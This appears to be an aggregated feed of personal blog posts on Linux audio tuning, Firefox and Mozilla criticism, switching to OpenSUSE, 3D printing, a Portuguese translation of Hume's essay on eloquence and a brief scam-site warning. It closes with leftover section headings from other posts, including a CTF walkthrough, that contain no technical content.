I see Prince Dove-Tree struggling to form a sign with his hands as Malcolm is slowly enveloped by a yellow glow, further incapacitating him.

I'm not the empath that he is, but the satisfaction I feel from the Prince is uncharacteristic and overzealous.

This was his plan. The Prince. Malcolm. Perhaps even Anna Marie.

The Duke will not survive the night, I fear.

My mind races, searching for solutions.

In fact—I realize as the mesmerized people continue closing in, glazed and moaning—I know he won't survive the night.

#WhenIDream #WritersOfMastodon #Writer #Writing #WeirdFiction

📝 Quick and cheap way to improve output audio quality on (some) Linux (distros)

December 23, 2025

from Bruno's ramblings

This assumes you're using Pipewire for your audio demands. Also, YMMV, depending on your hardware and the codec and encoding parameters of your music files. Currently, 99% the music I listen to is from Tidal, with the 16-bit and 44.1 kHz FLAC streaming option, and the configs at the bottom of this blog post are targeting this.

Without further ado, let's start with the tools ⚒️.

Easy Effects ^[1]

Homepage: https://github.com/wwmm/easyeffects
Flathub package: https://flathub.org/en/apps/com.github.wwmm.easyeffects
License: GPL 3.0

JamesDSP

Homepage: https://github.com/Audio4Linux/JDSP4Linux
Flathub package: https://flathub.org/en/apps/me.timschneeberger.jdsp4linux
License: GPL 3.0

I use some cheap stereo headphones (Esperanza EH240) that connect both via Bluetooth and a 3.5mm audio cable to my laptop. The specs are not impressive by any stretch, but it was a good purchase for what it cost:

Frequency range: 20 – 20000 Hz
Sensitivity: 105 dB
Impedance: 32 Ω

With either of the above-listed applications, I can use some filters to give a bit more depth to the audio, making it a touch richer and less bland.

For several months, Easy Effects has been my tool of choice, with only two filters enabled for the output: the equalizer for the higher frequencies, and bass loudness for the lower frequencies. There's also an alternative to bass loudness named bass enhancer, but the previous works best with my headphones, IMO.

The application also has a preset functionality, and I use it to switch between them, depending on the music genre I'm listening to.

It needs to be noted that the preset switching and management needs to be done inside the app; you can't do it from the system tray icon. At least it would be nice to have the latest three used profiles; more, and the menu would have too much height, even with FullHD resolution.

Here's my current config.

Equalizer config – in pt-PT. Click on the image to view it in full size.

Back when I used JamesDPS, the configs were somewhat similar. It's a different application, and the differences are more than a few, but it's easy to achieve a similar result.

If you don't have experience with this, IMHO it's best to have a more conservative approach when playing around with filters, as it's easy for the audio to start clipping (think of it as distorting). Don't worry, though, because each filter has a reset button.

^[1] There's an alternative for PulseAudio, by the same author, named Pulse Effects (https://flathub.org/en/apps/com.github.wwmm.pulseeffects).

#Linux #Pipewire #EasyEffects #JamesDSP #Audio

📝 Just... Please, don't

18 de dezembro de 2025

from Bruno's ramblings

I hadn't even read about the intentions to turn Firefox into an AI browser, and I just saw this post on the Fediverse.

"Penguin screaming and crying" Pudgy Penguins

Does this mean Firefox will become an agentic browser?

Actual question!

If so, just... Please, don't! Take a hint from this article. The Mozilla Corporation needs money to pay for its expenses, we all get that, but aren't there any other options? I find that unlikely.

Less unlikely, from what I've been seeing online, is a hard fork. Your user base feels more and more disenfranchised from the project, and this trend-chasing just accentuates the problem.

You want to chase new users at any cost, but you don't have any guarantees of new users. Your user base, however, the ones that have been sticking with you every step of the way, has been showing it's displeasement with the course Mozilla Corp is taking, and they may jump ship.

And I'm not even touching on the fact that, according to the Fediverse post, this may be opt-out and not opt-in. If you argue what opt-in is, it is not opt-in. So much for trustworthiness...

I'm so disappointed with this. But, honestly, it's not like it was unexpected. Remember that removal?

Look, I'm not saying AI is bad. There are use cases for it.

And I'm not saying integrating some sort of AI in Firefox is also a bad thing in itself. A small local model, with a dataset built from data with permissive licenses (e.g., Creative Commons) and also licensed with one, that creates summaries and is opt-in, whether via an add-on or built-in, can be useful to some people. Different people, different needs.

However, given all that's been happening on the corporate side of Mozilla, the users are very much skeptical and with reason.

#Firefox #OpenSource

Leia mais...

📝 Is Mozilla trying hard to kill itself?

17 de dezembro de 2025

from Bruno's ramblings

In an interview with “The Verge”, the new Mozilla CEO, Enzor-DeMeo, IMHO hints that axing adblockers is something that, at the very least, was on the table in some form and at some point. From the article:

He says he could begin to block ad blockers in Firefox and estimates that’d bring in another $150 million, but he doesn’t want to do that. It feels off-mission.

It may be just me, but I read this as “I don't want to 😜 😜 but I'll kill AdBlockers in Firefox for buckerinos 😂”. This disappoints and saddens me a lot, and I hope I'm wrong. I've been using Firefox before it was called that. Heck, I even used the Mozilla Application Suite back in the day. It was its commitment to open standards and the open web, and its powerful add-on system, that attracted me to its software.

Honestly, that's what's been keeping me. I think that's also what's been keeping their loyal base of users with the project, the geeks and nerds that care about privacy. It's the same group of people who helped it get very popular at one point.

Killing one of its advantages over the Chromium engine, being able to have a fucking adblocker that's actually useful, and that nowadays is a fucking security feature due to malvertising, will be another nail in the coffin, IMHO. The core community will feel disenfranchised, and this may have negative consequences for the project. You know why? Because these are some of the people that the normies turn to when they want tech advice.

For fuck sake, for-profit side of Mozilla, get a damn grip!

Update, since this is getting traction on Reddit

I'm not against Mozilla making money. Like a regular citizen needs to make money, companies and even nonprofits need it too. That's the world we live in, whether we like it or not.

What bothers me is how the new CEO mentions something that he could do but doesn't want to. If he doesn't want to, why say it? It has the potential to cause bad PR, and it has.

Of course, I know I may not be interpreting this correctly.

Right now, I'm on the fence. His statement leads me to believe that the option is still very much on the table; otherwise, he wouldn't mention it.

#Mozilla #Firefox #AdBlocker #OpenSource #FOSS

Leia mais...

📝 My Ubuntu experience ended, welcome OpenSUSE

01 de dezembro de 2025

from Bruno's ramblings

In the second half of October, I replaced Ubuntu 24.04 with OpenSUSE Tumbleweed. This marked the end of my Ubuntu experience. Well, for the moment, at least, because you never know how tomorrow's going to be.

This decision was not made lightly. After several months using Ubuntu 24.04, I was happy with the system. I was even using GNOME after using KDE Plasma for most of the last few years, because I liked Ubuntu's default experience on that desktop environment and found it better than the default one.

What happened

What I didn't like, though, was that it started to log me out of GNOME randomly.

When it first happened, I thought it could be an issue with an extension, but I checked the system logs nonetheless. They were useful for confirming that this was an issue somewhere in GNOME, but not for pointing to an extension as the culprit.

Then, it happened again. And again. Always at random times. Even on a clean account.

Trying to mitigate it

After a few days of searching the web for similar reports, I found a bug report for Ubuntu about an issue in, I believe, GNOME Shell. This issue had been fixed in more recent versions of the desktop environment than the one shipped in Ubuntu 24.04, but it appeared that there were no plans to backport it to the existing LTS. Luckily, the bug report included a mitigation I could apply to my system.

I tried the mitigation (adding something in /etc/profile). For a few days, it felt like the issue was gone, and I could use my computer without getting on my nerves.

Task failed successfully

Then, it happened again. And again. Always at random times.

This started to get me a bit angry. Then, it happened while I was working. I was using a web platform with autosave, so the work wasn't lost, but I lost my train of thought and had to start almost from scratch.

This made me mad! I couldn't afford to have this happen again while working. If it happens when I'm gaming or browsing the web, it's annoying, but I can live with it if it happens seldomly. However, during the few paid work chances I get, it can't happen.

But it did happen one more time.

root@computer:~# whereis replacement

I decided I had to find a replacement.

Returning to Arch was one of my options. Installing Void, a distro I quite enjoyed a few years back, was another alternative. I also considered Debian, Fedora, Alpine, and a couple more.

One of those “couple more” was OpenSUSE, specifically the Tumbleweed branch/edition or whatever the correct naming convention is. I had used OpenSUSE for a bit several years ago (somewhere between 15 to 20 years ago, if my memory isn't failing me again), and it offered a bleeding-edge approach like Arch. It is also a distribution developed and maintained in Europe, at least for the most part, which helped, given the current state of the US with nutjobs in power.

All in on green

So, on the day after my 42nd birthday, I backed up all the data I needed, and I replaced Ubuntu 24.04 with OpenSUSE Tumbleweed.

I admit I did little reading about the tools the distribution offers, like the package manager and YaST. Or that a pattern you install and then uninstall with zypper will be installed again when you update your system. If it was removed, it has no business being installed again, and I shouldn't have to create a lock on that pattern to prevent that behavior. This makes no sense to me as a user.

I did take a look at their docs, but they pale in comparison to the Arch Wiki. OpenSUSE could actually learn a few things from Arch in this regard to improve their documentation, in my opinion.

A mostly smooth sail (so far)

Of course, this hasn't been a perfect experience.

The day after installing the distro, I installed profile-sync-daemon, a tool that copies your browser profile into RAM while you're using it and lets you set up a sync interval with the filesystem, so it doesn't batter the SSD or NVMe so much. I believe I also installed some updates after that, and then rebooted.

The system booted fine, and I was able to log in to Plasma. Then, no matter what application I tried to launch, it would show an error and wouldn't open. It took me a bit to remember that this tool fills the user's tmpfs if you have the default 20% for the RuntimeDirectorySize in systemd's logind.conf.

Even with 12 GB of RAM and 12 GB of SWAP, this happens.

I bumped the value to 30%, just to be super safe, rebooted, and voilà, I could open applications again.

I think this was the only major issue.

I also had an issue with a kernel update that wouldn't boot, but I had the previous kernel version still installed, so it didn't matter all that much.

Additionally, some tools I use aren't available in the repos, but it's just a few, and that's easily fixable by compiling them. Given that most of these tools are written in Go, it's easier to deal with dependencies.

Let's see if I'll revisit my decision of using OpenSUSE Tumbleweed in a few months.

#Ubuntu #OpenSUSE #Linux #SystemD #GNOME #KDE

Leia mais...

How to add custom font into Bambu Studio

November 14, 2025

from Tai Lam in Science

I believed I would have to make a “sign” from a PNG screenshot, convert it into an SVG, and lastly create an STL file for 3D printing.

However, I realized I can simply add custom fonts into Bambu Studio.

This Bambu Lab forum thread set me off in the correct direction.

Conclusion: Reddit is not always helpful

Again, there are Reddit threads that are not helpful:

This thread from February 2023, and
This thread from December 2022.

Da Eloquência

12 de novembro de 2025

from Nomos

Tradução do ensaio Da Eloquência, publicado em 1742, como parte da coleção de ensaios de David Hume, intitulada Ensaios Morais, Políticos e Literários (Essays, Moral, Political and Literary) Aqueles que consideram os períodos e as revoluções da humanidade, conforme representados na história, se entretêm com um espetáculo repleto de prazer e variedade, e veem, com surpresa, os costumes, hábitos e opiniões da mesma espécie suscetíveis a mudanças tão prodigiosas em diferentes períodos de tempo. Pode-se, contudo, observar que, na história civil, se encontra uma uniformidade muito maior do que na história do aprendizado e da ciência, e que as guerras, negociações e políticas de uma época se assemelham mais às de outra do que o gosto, a perspicácia e os princípios especulativos.

O interesse e a ambição, a honra e a vergonha, a amizade e a inimizade, a gratidão e a vingança são os principais motores em todas as transações públicas; e essas paixões são de natureza muito obstinada e intratável, em comparação com os sentimentos e o entendimento, que são facilmente variados pela educação e pelo exemplo. Os godos foram muito mais inferiores aos romanos em gosto e ciência do que em coragem e virtude.

Mas, para não comparar nações tão amplamente diferentes, pode-se observar que mesmo este período mais recente do aprendizado humano é, em muitos aspectos, de um caráter oposto ao antigo; e que, se somos superiores em filosofia, ainda somos, apesar de todos os nossos refinamentos, muito inferiores em eloquência.

Nos tempos antigos, nenhuma obra de gênio era considerada exigir tão grandes talentos e capacidade quanto o discurso em público; e alguns escritores eminentes chegaram a declarar que os talentos, mesmo de um grande poeta ou filósofo, eram de natureza inferior àqueles que são exigidos para tal empreendimento. A Grécia e Roma produziram, cada uma delas, apenas um orador consumado; e quaisquer que fossem os elogios que os outros oradores celebrados pudessem merecer, eles ainda eram considerados muito inferiores a esses grandes modelos de eloquência.

É notável que os críticos antigos mal conseguiam encontrar dois oradores em qualquer época que merecessem ser colocados precisamente na mesma categoria e possuíssem o mesmo grau de mérito. Calvo, Célio, Cúrio, Hortênsio, César se elevaram um acima do outro: mas o maior daquela época era inferior a Cícero, o orador mais eloquente que já havia aparecido em Roma.

Aqueles de gosto refinado, no entanto, proferiram este julgamento sobre o orador romano, assim como sobre o Grego, de que ambos superaram em eloquência todos os que já apareceram, mas que estavam longe de alcançar a perfeição de sua arte, que era infinita, e não apenas excedia a força humana para ser atingida, mas a imaginação humana para ser concebida. Cícero declara-se insatisfeito com suas próprias performances; na verdade, até mesmo com as de Demóstenes. Ita sunt avidæ & capaces meæ aures, says he, & semper aliquid immensum, infinitumque desiderant. (Assim são ávidos e capazes meus ouvidos, diz ele, e sempre desejam algo imenso e infinito.)

De todas as nações educadas e cultas, somente a Inglaterra possui um governo popular, ou admite no poder legislativo assembleias tão numerosas que se possa supor estarem sob o domínio da eloquência. Mas o que a Inglaterra tem para se orgulhar neste particular? Ao enumerar os grandes homens que honraram nosso país, exultamos em nossos poetas e filósofos; mas que oradores são sequer mencionados? Ou onde se encontram os monumentos de seu gênio?

Encontram-se, de fato, em nossas histórias, os nomes de vários que dirigiram as resoluções de nosso parlamento: Mas nem eles, nem outros, se deram ao trabalho de preservar seus discursos; e a autoridade que possuíam parece ter sido devida à sua experiência, sabedoria ou poder, mais do que aos seus talentos para a oratória.

Atualmente, há mais de meia dúzia de oradores nas duas câmaras que, no julgamento do público, atingiram quase o mesmo nível de eloquência; e ninguém se propõe a dar a preferência a um acima dos demais. Isso me parece uma prova certa de que nenhum deles atingiu muito além da mediocridade em sua arte, e que a espécie de eloquência à qual aspiram não exige exercício das faculdades mais elevadas da mente, podendo ser alcançada por talentos comuns e uma leve aplicação.

Cem marceneiros em Londres podem trabalhar uma mesa ou uma cadeira igualmente bem; mas nenhum poeta pode escrever versos com tanto espírito e elegância quanto o Sr. Pope.

Fomos informados de que, quando Demóstenes ia defender uma causa, todos os homens de gênio afluíam a Atenas, das partes mais remotas da Grécia, como para o espetáculo mais célebre do mundo. Em Londres, você pode ver homens passeando ociosamente no Court of Requests, enquanto o debate mais importante está sendo conduzido nas duas câmaras; e muitos não se consideram suficientemente recompensados pela perda de seus jantares por toda a eloquência de nossos oradores mais celebrados. Quando o velho Cibber vai atuar, a curiosidade de vários é mais excitada do que quando nosso primeiro-ministro defende-se de uma moção para sua remoção ou impeachment.

Mesmo uma pessoa não familiarizada com os nobres vestígios dos oradores antigos pode julgar, a partir de alguns traços, que o estilo ou a espécie de sua eloquência era infinitamente mais sublime do que aquela a que os oradores modernos aspiram.

Quão absurdo pareceria, em nossos oradores calmos e moderados, fazer uso de uma Apóstrofe, como aquela nobre de Demóstenes, tão celebrada por Quintiliano e Longino, quando, ao justificar a batalha mal-sucedida de Queroneia, ele irrompe: Não, meus Concidadãos, Não: Vocês não erraram. Eu juro pelos manes daqueles heróis, que lutaram pela mesma causa nas planícies de Maratona e Platéia.

Quem poderia agora suportar uma figura tão ousada e poética quanto a que Cícero emprega, após descrever nos termos mais trágicos a crucificação de um cidadão romano: Se eu pintasse os horrores desta cena, não para os cidadãos romanos, não para os aliados de nosso estado, nem para aqueles que alguma vez ouviram falar do Nome romano, nem mesmo para homens, mas para criaturas brutas; ou, indo mais longe, se eu levantasse a minha voz na solidão mais desolada, para as rochas e montanhas, ainda assim eu veria seguramente aquelas partes rudes e inanimadas da natureza movidas com horror e indignação diante do relato de uma ação tão enorme.

Com que esplendor de eloquência tal frase deve ser cercada para lhe dar graça, ou fazer com que cause alguma impressão nos ouvintes? E que arte nobre e talentos sublimes são necessários para chegar, por justos graus, a um sentimento tão ousado e excessivo: para inflamar a plateia, a ponto de fazê-los acompanhar o orador em paixões tão violentas e concepções tão elevadas: e para ocultar, sob uma torrente de eloquência, o artifício pelo qual tudo isso é efetuado! Se este sentimento até nos parecer excessivo, como talvez justamente possa, ele servirá pelo menos para dar uma ideia do estilo da eloquência antiga, onde tais expressões infladas não eram rejeitadas como inteiramente monstruosas e gigantescas.

Compatível com esta veemência de pensamento e expressão, era a veemência de ação, observada nos oradores antigos. O supplosio pedis (ou bater com o pé) era um dos gestos mais usuais e moderados que eles utilizavam; embora isso seja agora considerado muito violento, seja para o senado, para o tribunal ou para o púlpito, e é admitido apenas no teatro, para acompanhar as paixões mais violentas que ali são representadas.

Fica-se um tanto perdido sobre a que causa podemos atribuir um declínio tão sensível da eloquência em idades posteriores. O gênio da humanidade, em todos os tempos, é, talvez, igual: os modernos se aplicaram, com grande diligência e sucesso, a todas as outras artes e ciências: e uma nação culta possui um governo popular; uma circunstância que parece necessária para a plena manifestação desses nobres talentos: Mas, apesar de todas essas vantagens, nosso progresso na eloquência é muito inconsiderável, em comparação com os avanços que fizemos em todas as outras partes do aprendizado.

Devemos afirmar que as tensões da eloquência antiga são inadequadas à nossa época e não devem ser imitadas pelos oradores modernos? Quaisquer que sejam as razões usadas para provar isso, estou convencido de que, após exame, elas se revelarão infundadas e insatisfatórias.

Primeiro, pode-se dizer que, nos tempos antigos, durante o período florescente do aprendizado grego e romano, as leis municipais, em cada estado, eram poucas e simples, e a decisão das causas era, em grande parte, deixada para a equidade e o bom senso dos juízes. O estudo das leis não era, então, uma ocupação laboriosa, exigindo a lida de uma vida inteira para ser concluída, e incompatível com qualquer outro estudo ou profissão.

Os grandes estadistas e generais entre os romanos eram todos advogados; e Cícero, para demonstrar a facilidade de adquirir essa ciência, declara que, em meio a todas as suas ocupações, ele se comprometeria, em poucos dias, a tornar-se um civilista completo.

Ora, onde um orador se dirige à equidade de seus juízes, ele tem muito mais espaço para exibir sua eloquência do que onde ele deve extrair seus argumentos de leis estritas, estatutos e precedentes. No primeiro caso, muitas circunstâncias devem ser levadas em conta; muitas considerações pessoais devem ser consideradas; e até mesmo o favor e a inclinação, que cabe ao orador, por sua arte e eloquência, conciliar, podem ser disfarçados sob a aparência de equidade.

Mas como um advogado moderno terá tempo para abandonar suas ocupações fatigantes, a fim de colher as flores do Parnasso? Ou que oportunidade terá ele de exibi-las, em meio aos argumentos rígidos e sutis, objeções e réplicas, de que é obrigado a fazer uso? O maior gênio e maior orador, que pretendesse pleitear perante o Chanceler, após um mês de estudo das leis, apenas se esforçaria para se tornar ridículo.

Estou pronto a admitir que esta circunstância, da multiplicidade e complexidade das leis, é um desestímulo à eloquência nos tempos modernos: Mas afirmo que ela não explica inteiramente o declínio dessa nobre arte. Ela pode banir a oratória de Westminster-Hall, mas não de nenhuma das casas do parlamento. Entre os atenienses, os areopagitas proibiram expressamente todos os atrativos da eloquência; e alguns alegaram que nas orações gregas, escritas na forma judicial, não há um estilo tão ousado e retórico quanto o que aparece no romano. Mas a que ponto os atenienses levaram sua eloquência na modalidade deliberativa, quando os assuntos de estado eram debatidos, e a liberdade, a felicidade e a honra da república eram o objeto de discussão? Disputas desta natureza elevam o gênio acima de todas as outras, e dão o mais amplo alcance à eloquência; e tais disputas são muito frequentes nesta nação.

Em segundo lugar, pode-se alegar que o declínio da eloquência se deve ao superior bom senso dos modernos, que rejeitam com desdém todos aqueles truques retóricos, empregados para seduzir os juízes, e não admitem nada além de argumento sólido em qualquer debate ou deliberação. Se um homem for acusado de assassinato, o fato deve ser provado por testemunhas e evidências; e as leis determinarão subsequentemente a punição do criminoso.

Seria ridículo descrever, em cores fortes, o horror e a crueldade da ação: Introduzir os parentes do morto; e, a um sinal, fazê-los atirar-se aos pés dos juízes, implorando justiça com lágrimas e lamentos: E ainda mais ridículo seria empregar um quadro representando o ato sangrento, a fim de comover os juízes pela exibição de um espetáculo tão trágico: Embora saibamos que este artifício foi por vezes praticado pelos oradores antigos. Ora, se banirmos o patético dos discursos públicos, reduzimos os oradores meramente à eloquência moderna; isto é, ao bom senso, transmitido em expressão adequada.

Talvez se possa reconhecer que nossos costumes modernos, ou nosso superior bom senso, se assim o preferir, deveriam tornar nossos oradores mais cautelosos e reservados do que os antigos, ao tentarem inflamar as paixões ou elevar a imaginação de seu público: Mas, não vejo razão para que isso os faça desesperar absolutamente de serem bem-sucedidos nessa tentativa. Isso deveria fazê-los redobrar sua arte, não abandoná-la inteiramente. Os oradores antigos também parecem ter estado em guarda contra esse ciúme de seu público; mas eles tomaram um caminho diferente para iludi-lo. Eles se apressaram com tal torrente de sublime e patético, que não deixaram a seus ouvintes tempo livre para perceber o artifício pelo qual eram iludidos.

Na verdade, para considerar a questão corretamente, eles não eram iludidos por nenhum artifício. O orador, pela força de seu próprio gênio e eloquência, primeiro inflamava-se com raiva, indignação, piedade, tristeza; e depois comunicava esses movimentos impetuosos à sua audiência.

Haverá algum homem que pretenda ter mais bom senso do que Júlio César? No entanto, sabemos que aquele conquistador altivo foi tão subjugado pelos encantos da eloquência de Cícero, que foi, de certa forma, forçado a mudar seu propósito e resolução estabelecidos, e a absolver um criminoso que, antes do orador pleitear, ele estava determinado a condenar.

Admito que algumas objeções, apesar do seu vasto sucesso, podem ser levantadas contra certas passagens do orador romano. Ele é muito florido e retórico: Suas figuras são muito chocantes e palpáveis: As divisões de seu discurso são tiradas principalmente das regras das escolas: E sua sagacidade nem sempre desdenha o artifício até mesmo de um trocadilho, rima ou jogo de palavras.

O grego dirigia-se a um público muito menos refinado do que o senado ou os juízes romanos. O mais baixo vulgo de Atenas eram seus soberanos, e os árbitros de sua eloquência. Contudo, seu modo é mais casto e austero do que o do outro. Se pudesse ser copiado, seu sucesso seria infalível sobre uma assembleia moderna. É harmonia rápida, exatamente ajustada ao sentido: É um raciocínio veemente, sem qualquer aparência de arte: É desdém, raiva, audácia, liberdade, envolvidos em um fluxo contínuo de argumento: E, de todas as produções humanas, as orações de Demóstenes nos apresentam os modelos que mais se aproximam da perfeição.

Em terceiro lugar, pode-se alegar que as desordens dos governos antigos, e os crimes enormes, dos quais os cidadãos eram frequentemente culpados, forneciam muito mais matéria para a eloquência do que se pode encontrar entre os modernos. Se não houvesse um Verrés ou um Catilina, não haveria um Cícero. Mas é evidente que esta razão não pode ter grande influência. Seria fácil encontrar um Filipe em tempos modernos; mas onde encontraremos um Demóstenes?

O que resta, então, senão culpar a falta de gênio ou de julgamento em nossos oradores, que ou se consideram incapazes de alcançar as alturas da eloquência antiga, ou rejeitam todos esses esforços, como inadequados ao espírito das assembleias modernas? Algumas tentativas bem-sucedidas dessa natureza poderiam despertar o gênio da nação, excitar a emulação da juventude e acostumar nossos ouvidos a uma elocução mais sublime e mais patética, do que aquela com a qual fomos entretidos até agora.

Certamente há algo acidental na ascensão inicial e no progresso das artes em qualquer nação. Duvido que uma razão muito satisfatória possa ser dada para o porquê a antiga Roma, embora recebesse todos os seus refinamentos da Grécia, pôde atingir apenas um gosto por estatuária, pintura e arquitetura, sem alcançar a prática dessas artes: Enquanto a Roma moderna foi estimulada por alguns vestígios encontrados entre as ruínas da antiguidade, e produziu artistas da maior eminência e distinção.

Se um gênio cultivado para a oratória, como o de Waller para a poesia, tivesse surgido, durante as guerras civis, quando a liberdade começou a ser totalmente estabelecida, e as assembleias populares a entrar em todos os pontos mais importantes do governo; estou convencido de que um exemplo tão ilustre teria dado um rumo completamente diferente à eloquência britânica, e nos faria alcançar a perfeição do modelo antigo. Nossos oradores teriam então honrado nosso país, assim como nossos poetas, geômetras e filósofos, e cíceros britânicos teriam aparecido, assim como arquimedeses e virgílios britânicos.

É raro ou nunca se encontra, quando um gosto falso em poesia ou eloquência prevalece entre qualquer povo, que ele tenha sido preferido a um gosto verdadeiro, após comparação e reflexão. Ele comumente prevalece meramente pela ignorância do verdadeiro, e pela falta de modelos perfeitos, para levar os homens a uma apreensão mais justa e a um gosto mais refinado dessas produções de gênio. Quando estes aparecem, logo unem todos os sufrágios a seu favor e, por seus encantos naturais e poderosos, conquistam, até mesmo os mais preconceituosos, para o amor e a admiração deles. Os princípios de toda paixão, e de todo sentimento, estão em cada homem; e quando tocados corretamente, eles ganham vida, e aquecem o coração, e transmitem aquela satisfação pela qual uma obra de gênio se distingue das belezas adulteradas de um espírito e fantasia caprichosos.

E se esta observação é verdadeira, no que diz respeito a todas as artes liberais, ela deve sê-lo peculiarmente no que diz respeito à eloquência; a qual, sendo meramente calculada para o público, e para os homens do mundo, não pode, com qualquer pretensão de razão, apelar do povo para juízes mais refinados; mas deve submeter-se ao veredicto público, sem reserva ou limitação. Aquele que, por comparação, é considerado por um público comum o maior orador, deve ser, com toda a certeza, proclamado tal por homens de ciência e erudição. E embora um orador indiferente possa triunfar por muito tempo, e ser considerado totalmente perfeito pelo vulgo, que está satisfeito com suas habilidades e não sabe em que ele é deficiente: Contudo, sempre que o verdadeiro gênio surge, ele atrai para si a atenção de todos, e imediatamente parece superior ao seu rival.

Ora, a julgar por esta regra, a eloquência antiga, isto é, a sublime e apaixonada, é de um gosto muito mais justo do que a moderna, ou a argumentativa e racional; e, se executada de forma adequada, terá sempre mais domínio e autoridade sobre a humanidade. Estamos satisfeitos com a nossa mediocridade porque não tivemos experiência de nada melhor: Mas os antigos tiveram experiência de ambos, e, por comparação, deram a preferência àquele tipo, do qual nos deixaram modelos tão aplaudidos.

Pois, se não me engano, nossa eloquência moderna é do mesmo estilo ou espécie daquela que os críticos antigos denominavam eloquência ática, isto é, calma, elegante e sutil, que instruía a razão mais do que afetava as paixões, e nunca elevava seu tom acima do argumento ou do discurso comum. Tal era a eloquência de Lísias entre os atenienses, e de Calvo entre os romanos. Estes eram estimados em seu tempo; mas quando comparados com Demóstenes e Cícero, eram ofuscados como uma vela quando colocada sob os raios de um sol do meio-dia. Estes últimos oradores possuíam a mesma elegância, sutileza e força de argumento que os primeiros; mas o que os tornava principalmente admiráveis era aquele patético e sublime que, em ocasiões apropriadas, eles lançavam em seu discurso, e pelo qual comandavam a resolução de sua audiência.

Desta espécie de eloquência quase não tivemos nenhuma ocorrência na Inglaterra, pelo menos em nossos oradores públicos. Em nossos escritores, tivemos alguns exemplos, que receberam grande aplauso e poderiam garantir à nossa juventude ambiciosa uma glória igual ou superior em tentativas de reavivar a eloquência antiga. As produções de Lord Bolingbroke, com todos os seus defeitos de argumento, método e precisão, contêm uma força e uma energia às quais nossos oradores mal aspiram; embora seja evidente que tal estilo elevado tenha muito melhor graça em um orador do que em um escritor, e tenha garantido um sucesso mais rápido e mais surpreendente. É ali que ele é secundado pelas graças da voz e da ação: Os movimentos são mutuamente comunicados entre o orador e a audiência: E o próprio aspecto de uma grande assembleia, atenta ao discurso de um só homem, deve inspirá-lo com uma elevação peculiar, suficiente para conferir adequação às figuras e expressões mais fortes.

É verdade que existe um grande preconceito contra discursos preparados (set speeches); e um homem não pode escapar ao ridículo se repetir um discurso como um estudante repete a sua lição, e não levar em conta nada do que foi apresentado no curso do debate. Mas onde está a necessidade de cair neste absurdo? Um orador público deve saber de antemão a questão em debate. Ele pode compor todos os argumentos, objeções e respostas, tais como pensa que serão mais apropriados para o seu discurso. Se algo novo surgir, ele pode supri-lo com sua invenção; nem a diferença será muito aparente entre suas composições elaboradas e suas composições extemporâneas. A mente naturalmente continua com o mesmo ímpeto ou força que adquiriu por meio de seu movimento; assim como um navio, uma vez impelido pelos remos, mantém seu curso por algum tempo, mesmo quando o impulso original é suspenso.

Concluirei este assunto observando que, mesmo que nossos oradores modernos não elevem seu estilo ou aspirem a uma rivalidade com os antigos, há, na maioria dos seus discursos, um defeito material, que eles poderiam corrigir, sem se desviarem daquele ar composto de argumento e raciocínio ao qual limitam sua ambição.

Sua grande afetação por discursos extemporâneos os fez rejeitar toda ordem e método, que parecem tão necessários para o argumento, e sem os quais é quase impossível produzir uma convicção completa na mente. Não é que se recomendem muitas divisões em um discurso público, a menos que o assunto as ofereça de forma muito evidente: Mas é fácil, sem essa formalidade, observar um método e torná-lo visível para os ouvintes, que terão um prazer infinito em ver os argumentos surgirem naturalmente uns dos outros, e reterão uma persuasão mais completa do que pode advir das razões mais fortes, que são jogadas juntas em confusão.

Leia mais...

The enablers

November 9, 2025

from Ducks

The hosts. And the templates for the cryptoscammers, the “cargospammers”, the fake bank scammers etc are being made by someone(s). You name it. Have given up on the hosts. Seems we have to settle with “name and shame”. And then we have the brokers. And the spammers, the “affiliate” networks. We sometimes stumble over all kinds of these, should start to make a list.

gogowebsites.store

https://www.gogowebsites.store/ Creation Date: 2025-03-24 (namecheap) hosted at 198.251.88.162 (Frantech/Ponynet)

15: Considering really small resin 3D printers

November 7, 2025

from Tai Lam in Science

This was originally written on November 7, 2025.

So I was wondering about 3D resin printing, as I saw a video from 3D Printing Nerd.

(Random: I think Joel of 3D Printing Nerd is basically like Markiplier in 3D printing, with some of Mark's hyperactivity toned down.)

Some thoughts

So, I've seen the acronym SLA, which is associated with resin 3D printing, which comes from stereolithography.

I was interested in the TinyMaker, which was the very small resin 3D printer showcased in the video. There was initially a Kickstarter crowdfunding campaign, and then a continued open-end timeline campaign on IndieGoGo.

The video mentioned that the TinyMaker files are available, and TinyMaker states that it is open source hardware. However, I had no luck finding the files, at least easily. The only result I found was this GitHub repository, which was last active in 2018.

Currently I'm a bit wary, as some backers are only recently receiving the TinyMaker 2 years after the campaign ended. Yes, I know there's an inherent risk with crowdfunding. So, I'll wait until TinyMaker reaches steady public availability.

Alternatives: maybe just get a “normal” sized resin printer?

I might as well consider the currently only option from Prusa for consumers: the Original Prusa SL1S SPEED 3D Printer and CW1S (cure and wash station) bundle.

There is a MSLA (masked SLA) printer from Prusa: Prusa Pro SLX. However, that looks like a professional industrial machine, and it is still “coming soon” (as of November 2025).

Conclusion

Currently, a comparable product is the Lite3DP Gen 2, which is available on Crowd Supply.

Reader

Introduction and Considerations

Grading

Alert 1: Suspicious email from external domain (ID 1000) – Low severity

Alert 2: Suspicious email from external domain (ID 1003) – Low severity

Alert 3: Suspicious Parent Child Relationship (ID 1025) – High severity

Alert 4: Network drive mapped to a local drive (ID 1022) – Medium severity

Introduction

Task 1: What is the first flag you receive after successfully detecting sample1.exe?

Task 2: What is the second flag you receive after successfully detecting sample2.exe?

Network Activity

HTTP(S) requests

1

TCP/UDP connections

3

DNS requests

0

Threats

0

HTTP requests

Connections

Extra: Why not the other two IPs

Task 3: What is the third flag you receive after successfully detecting sample3.exe?

Network Activity

HTTP(S) requests

2

TCP/UDP connections

4

DNS requests

2

Threats

0

HTTP requests

Connections

DNS requests

Task 4: What is the fourth flag you receive after successfully detecting sample4.exe?

Registry Activity

Total events

3

Read events

1

Write events

2

Delete events

0

Modification events

Extra: why “alert” and not “respond”.

Task 5: What is the fifth flag you receive after successfully detecting sample5.exe?

Extra: why this rule

Task 6: What is the final flag you receive from Sphinx?

What I Learnt

Additional Resources

De-Googling

Recommendations

Hardware

iOS Recommendations

Privacy and Security Settings

iCloud

Network

Browser

Other Apps/Reccs

PC Privacy

Operating Systems

Windows Settings

Browser

VPN/DNS

Additional Software

Starting

Task 1: User flag

Task 2: Root flag

Optional: Persistence and Better Shell

Persistence

How it could have been avoided

Easy Effects [1]

JamesDSP

What happened

Trying to mitigate it

Task failed successfully

root@computer:~# whereis replacement

All in on green

Easy Effects ^[1]